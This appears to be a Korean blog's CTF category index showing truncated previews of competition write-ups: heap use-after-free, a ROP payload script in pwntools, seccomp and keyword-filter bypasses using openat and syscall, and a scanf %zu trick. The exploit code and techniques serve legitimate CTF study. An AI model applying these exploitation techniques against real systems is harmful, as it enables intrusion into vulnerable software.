목록CTF (48)
Sechack
말로만 듣던 코드게이트에 처음으로 참여해보았습니다. 포너블이 엄청 어려울줄 알고 예선 시작 1주일 전부터 Line CTF 2021, Hayyim CTF 2022에 출제되었던 포너블 문제들을 몇개 풀어봤는데 제 예상보다 훨씬 쉽게 나와서 빠른 시간안에 올클이 가능했습니다. 덕분에 대회 시작하고 얼마 안가서 2등까지 치고 올라갔었는데 저의 주요 분야인 Pwnable, Web을 올클하고나니까 풀게 없어졌습니다. Misc에 간단한 이진탐색 문제 있어서 그거까지 풀고 더이상은 못했습니다. 여러 분야를 두루두루 공부해놔야 할 필요성을 느꼈습니다. 리버싱도 하나 솔버 많던데 결국 풀진 못했습니다. 알고보니 루틴만 찾으면 z3날먹 문제였는데;;;;;; 본선때까지 리버싱 열심히 공부해서 Pwnable, Web, Revr..
#include #include #include #include "seccomp-bpf.h" void activate_seccomp() { struct sock_filter filter[] = { VALIDATE_ARCHITECTURE, EXAMINE_SYSCALL, ALLOW_SYSCALL(mprotect), ALLOW_SYSCALL(mmap), ALLOW_SYSCALL(munmap), ALLOW_SYSCALL(exit_group), ALLOW_SYSCALL(read), ALLOW_SYSCALL(write), ALLOW_SYSCALL(open), ALLOW_SYSCALL(close), ALLOW_SYSCALL(openat), ALLOW_SYSCALL(fstat), ALLOW_SYSCALL(brk), A..
mic check 디스코드 채널에 가면 플래그가 있습니다. Pocketmon 메뉴를 보면 평범한 힙 문제이다. 할당받을때 chunk를 2개 할당한다. 핵심 취약점은 free할때 터지는데 인덱스가 16일때는 NOOOOOOOOOOOOOOOOOOOOOO를 출력하고 끝낸다. 0으로 초기화해주지 않아서 16번 인덱스에서 uaf가 터진다. 우리는 free된 chunk에 맘대로 접근할 수 있으므로 fd를 맘대로 바꿀 수 있고 결과적으로 aaw를 할 수 있다. libc leak은 여기 남아있는 주소를 이용해서 0x7f를 size로 놓고 chunk할당하면 된다. 프로그램에서 0x30크기와 0x70크기의 chunk를 사용하고있는데 딱 맞다. 그리고 calloc이어도 0x7f가 size로 들어가게 되면 IS_MMAPPED비..
보호되어 있는 글입니다.
이번엔 민욱이형이랑 같이 TeamH4C CTF팀이 아닌 다른 CTF팀으로 참여했다. 평일에 하는거여서 시간이 약간 부족한감이 있었는데 포너블 올클도 하고 나름대로 만족스러웠다. 최종 결과는 19등이다. 버스탔다. ㅋㅋ Syno계정은 지용님이랑 민욱이형이 같이쓴 계정이다. 아무튼 쌉캐리.. 그럼 write up시작!! Name_Server 걍 bof터진다. rop하면된다. from pwn import * r = remote("3.97.113.25", 9001) e = ELF("./name-serv") pop_rdi = 0x4006d3 puts_plt = e.plt["puts"] puts_got = e.got["puts"] payload = b"a"*0x28 payload += p64(pop_rdi) pay..
갠적으로 재미있었다. 그냥 bof이다. 바이너리는 static이다. 그리고 seccomp가 걸려있다. openat을 필터링하지 않으므로 openat system call을 이용해서 orw해서 플래그 읽어주면 된다. It's time to revenge ! flag is in /home/fbi/flag.txt Note : There is no stdout/stderr in the server , can you manage it this year? nc 40.71.72.198 1236 Author : haflout 문제 설명이다. 서버에는 stdout, stderr가 없다고 한다. 실제로 write를 부르는 쉘코드를 작성해보고 데이터를 출력해보면 로컬에서는 잘 출력되지만 서버로 보내보면 아무것도 출력되지 않..
이문제는 소스코드를 제공해준다. 아마 바이너리만 제공했다면 못풀었을것 같다. #include #include #include #include #include //gcc Cshell.c -static -lcrypt -o Cshell struct users { char name[8]; char passwd[35]; }; struct tracker{ struct tracker *next; struct users *ptr; char name[8]; long int id; }; char * alex_buff; char * Charlie_buff; char * Johnny_buff; char * Eric_buff; struct users *user; struct users *root; struct tracker *..
사이트 드가보면 알고리즘 문제 풀라고 한다. 그래서 알고리즘 문제인줄 알았는데 소스코드에 주석으로 달린걸 보면 알고리즘 문제가 아니다. 플래그가 /flag.txt파일에 있다고 한다. 우리가 코드를 입력하면 그게 컴파일되고 서버에서 실행되니까 C언어를 이용해서 플래그를 가져오는 문제임을 짐작할 수 있다. 하지만 system, execve, open, read등 os command 실행이나 orw를 진행하기 위한 함수들은 키워드 필터링이 되어있었다. 하지만 이것은 seccomp같이 system call자체를 필터링하는게 아니라 단순 키워드 필터링이므로 키워드만 안넣으면 된다. C언어의 syscall함수는 필터링되지 않으므로 그걸 사용하면 원하는 system call을 호출할 수 있게 된다. 그래서 다풀었다 ..
이번에 해캠 처음 참가해봤는데 팀이 잘걸려서 1등한것같다. 작년 해캠 웹문제 보니까 생각보다 쉽길래 이번에도 비슷하게 나오겠지 하고 편한마음으로 임했는데 웹이 너무 게싱이었다... 그래서 솔버가 아무도 없어서 주최측에서 웹문제는 문제마다 힌트를 두세개씩 풀었는데 그때서야 할만했다. write up은 내가 풀었던 문제들과 팀원분이 풀었던 문제중에 조금 인상깊었던것들을 올리겠다. Pwnable Welcome 힙 문제이다. 메뉴가 있다. info에서는 target전역변수의 주소를 주는데 pie가 안걸려있으므로 그냥 IDA에서 보면 된다. Malloc함수는 그냥 0x20만큼 힙 할당해주고 거기다가 데이터 입력할 수 있다. Free함수는 선택한 인덱스에 있는 청크를 해제하는데 초기화를 하지 않아서 DFB가 터진다..
트릭모르면 못푸는 문제이다. 나도 문제풀당시에는 트릭을 몰랐어서 너무 오래걸렸었다. 굉장히 심플한 프로그램이다. 하지만 scanf의 서식지정자로 %zu를 줬을때 scanf내부 로직을 모르면 못푸는 문제이다. 일단 libc leak은 대충 1000000정도로 크기 엄청 크게주면 mmap system call로 따로 공간을 할당해서 사용하고 이 영역은 libc와 offset이 일정하다는 특징을 이용해서 libc leak을 할 수가 있다. 그리고 oob가 발생해서 임의의 주소를 한번 덮을 수 있다. libc주소를 얻었으므로 덮을 수 있는곳은 많다. 일단 먼저 나는 문제에서 ld파일도 주길래 rtld overwrite를 시도했다. 하지만 exit가 아니라 _exit함수여서 결국에는 불가능했다. 남은건 vtabl..